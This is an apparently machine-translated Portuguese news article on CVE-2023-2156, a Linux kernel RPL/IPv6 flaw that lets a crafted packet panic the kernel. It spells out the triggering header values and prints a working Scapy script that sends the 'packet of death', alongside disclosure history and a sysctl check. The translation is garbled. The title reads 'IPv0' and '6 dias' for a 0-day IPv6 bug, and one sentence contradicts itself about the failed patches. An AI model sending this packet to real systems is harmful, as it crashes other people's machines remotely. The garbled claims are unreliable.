Vulnerabilidade de pilha IPv0 do Linux de 6 dias que permite travamento remoto do kernel

Foram divulgadas informações sobre uma vulnerabilidade não corrigida (0-day) (CVE-2023-2156) no kernel Linux, que permite parar o sistema enviando pacotes IPv6 especialmente projetados (packet-of-death). O problema só aparece quando o suporte ao protocolo RPL (Routing Protocol for Low-Power and Lossy Networks) está habilitado, que está desabilitado por padrão nas distribuições e é usado principalmente em dispositivos embarcados operando em redes sem fio com alta perda de pacotes.

A vulnerabilidade é causada pelo processamento incorreto de dados externos no código de análise do protocolo RPL, o que leva a uma falha de afirmação e ao kernel entrar em estado de pânico. Ao colocar os dados obtidos na análise do cabeçalho do pacote RPL IPv6 na estrutura k_buff (Socket Buffer), se o campo CmprI for definido como 15, o campo Segleft como 1 e CmprE como 0, o vetor de 48 bytes com endereços é descompactado para 528 bytes e surge uma situação em que a memória alocada para o buffer não é suficiente. Nesse caso, a função skb_push, usada para enviar dados para a estrutura, verifica a incomensurabilidade entre o tamanho dos dados e o buffer, gerando um estado de pânico para evitar a gravação além do limite do buffer.

Exemplo de exploração: # Usaremos o Scapy para criar o pacote de scapy.all import * import socket # Use o IPv6 da sua interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usamos soquetes para enviar o pacote sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Cria o pacote # Type = 3 torna este um pacote RPL # Addresses contém 3 endereços, mas como CmprI é 15, # cada octeto dos dois primeiros endereços é tratado como um endereço compactado # Segleft = 1 para acionar a amplificação # lastentry = 0xf0 define CmprI como 15 e CmprE como 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, address=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envie este pacote maligno sockfd.sendto(bytes(p), (DST_ADDR, 0))

Vale ressaltar que os desenvolvedores do kernel foram notificados sobre a vulnerabilidade em janeiro de 2022 e nos últimos 15 meses tentaram corrigir o problema três vezes, lançando patches em setembro de 2022, outubro de 2022 e abril de 2023, mas cada vez as correções foram não foi suficiente e a vulnerabilidade não pôde ser reproduzida. Por fim, o projeto ZDI, que coordenou o trabalho para corrigir a vulnerabilidade, decidiu divulgar informações detalhadas sobre a vulnerabilidade sem esperar que uma correção funcional estivesse disponível no kernel.

Assim, a vulnerabilidade ainda permanece não corrigida. Em particular, o patch incluído no kernel 6.4-rc2 é ineficaz. Os usuários são aconselhados a verificar se o protocolo RPL não é utilizado em seus sistemas, o que pode ser feito utilizando o comando sysctl -a | grep -i rpl_seg_enabled

Fonte: opennet.ru

Adicionar um comentário